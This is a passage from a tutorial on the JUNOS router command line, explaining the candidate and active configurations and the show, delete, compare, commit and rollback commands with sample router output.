<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt;</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> backup-router IPv4 router to use while booting</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Compress-configuration-files compress the router configuration files</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">When we examine the output closely, we might notice that some command options are preceded with a character—either an angle bracket (&gt;) or a plus sign (+). The angle bracket is used to designate lower-level directories. The plus sign shows command variables you can configure that may have multiple values assigned.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Finally, some options do not have any characters preceding</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">them. These are configurable variables that may contain only a single possible value. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Altering the Configuration</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We can view the changes we’ve made to the configuration by issuing the show command. This command displays any configuration in your current directory and all subdirectories below our current location. Using this command at the top of the hierarchy displays the entire configuration: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>show</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">version 5.3R1.2;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">system {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">host-name Shiraz;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">To view the configuration just within the [edit system] directory, we may either move to that level with the edit command or add the hierarchy name to the show command from the top of the configuration:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>show system</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">host-name Shiraz;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>delete </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We remove variables from the configuration with the delete command. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>delete system radius-server 172.30.10.1</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>show system</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">host-name Shiraz;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">root-authentication {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The Candidate Configuration</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We’ve been changing the hostname of the router but that the router’s prompt hasn’t changed. This is because when we enter configuration mode, we are actually viewing (and changing) a file called the <strong><em>candidate configuration</em></strong>. The candidate configuration allows us to make configuration changes without causing operational changes to the current operating configuration, called the <strong><em>active configuration</em></strong>.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The router implements the changes in the candidate configuration when we use the <strong><em>commit</em></strong> command. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>compare </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We may enter or exit configuration mode as many times as we wish without implementing our changes. If we do this several times, we may forget the exact changes we’ve made. In this situation, you can utilize a pipe command called compare in conjunction with the show command.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">This prompts the router to compare the current candidate configuration to the active configuration running on the router. Differences between the two files are displayed with either a plus (+) or a minus (-) sign. The plus sign represents variables in the candidate configuration that are not present in the active configuration; we’ve added them to the file. The minus sign shows the opposite; we’ve deleted variables from the file. Let’s use this command on our router to see the difference between the candidate and active configurations:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>show | compare</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit system]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">- host-name router;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">+ host-name Shiraz;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>commit </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">No changes we make to the router become effective until we use this command, Each time we commit our configuration, the router performs several tasks. The candidate configuration is examined for syntax and semantic problems and if any single problem exists,the candidate is not implemented. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">If the candidate configuration possesses no errors, the router then implements the new configuration and makes changes to the operating environment as needed. Finally, the existing active configuration is saved on the router for future use.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>commit</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">commit complete</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz#</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The commit complete message tells us that the process was successful. The commit process always implements the entire configuration at once. Any errors encountered during </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">a commit procedure result in no portion of the configuration changing.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>commit </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Suppose that there was an error in the configuration the router does not implement the changes we made and supplies an error message informing us of the problem: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>commit</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Policy error: Policy Advertise-Routes referenced but not defined</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">error: configuration check-out failed</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router#</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">In addition to the configuration check-out failed message, we see that the router’s hostname did not change. It appears that a policy called Advertise-Routes was referenced in configuration without ever being created in the first place. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>delete protocols ospf export Advertise-Routes</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>commit</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">commit complete</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz#</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>commit </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The commit command has several options we may use to alter its operation.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz# <strong>commit ?</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Possible completions:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">&lt;[Enter]&gt;<span style="mso-spacerun: yes;">   </span>Execute this command</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">and-quit<span style="mso-spacerun: yes;">      </span>Quit configuration mode if commit succeeds</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">                  </span>at Time at which to activate the configuration<span style="mso-spacerun: yes;">   </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">                  </span>changes</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">check<span style="mso-spacerun: yes;">          </span>Check only, do not apply changes</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">confirmed<span style="mso-spacerun: yes;">  </span><span style="mso-spacerun: yes;">  </span>Automatically rollback if not confirmed</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">synchronize Synchronize commit on both routing engines</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">| Pipe through a command</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz# commit</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The router always remains in configuration mode, by default, after committing the configuration. We may exit back to operational mode with the addition of the and-quit option. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>commit </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We can have the router verify the validity of the configuration without implementing the changes by using the <strong><em>check</em></strong> option. We might use this option after making a number of changes to the router and we want to be sure you have all of the required portions of the configuration in place. After running the syntax and semantic checks, the router does not implement the changes. We’re either notified of a successful check or your errors are reported to you: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz# <strong>commit check</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">configuration check succeeds</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz#</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The syntax and semantic checks the router performs verify only that information is present in the configuration that allows the router to implement the candidate file. No verification is ever completed to see if the configuration actually does what you wanted it to do in the network; that is our job. </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Restoring an Old Configuration</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">When the router commits a configuration, it also saves the existing configuration to a file. This single file is not the only old configuration file saved, however. The JUNOS software saves up to nine previous configuration files for our use. The current active configuration is named junper.conf and is file number 0. The most recent active configuration is called juniper.conf.1.gz and is file number 1.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We place one of these files into the candidate configuration with the rollback command. To actually implement the old configuration file, we must still issue the commit command to make the candidate configuration </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">the new active configuration.</span></span></p>
